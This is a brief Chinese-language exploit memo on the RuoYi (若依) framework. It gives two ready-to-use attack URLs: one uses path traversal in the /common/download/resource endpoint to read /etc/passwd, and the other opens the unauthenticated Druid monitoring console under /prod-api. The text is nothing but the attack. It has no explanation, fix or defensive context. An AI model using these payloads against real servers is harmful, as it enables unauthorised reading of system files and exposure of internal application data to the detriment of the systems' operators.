若依 任意文件讀取&未授權訪問漏洞

任意文件讀取

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

未授權訪問

http://xxx.xxx.xxx.xxx/prod-api/druid/index.html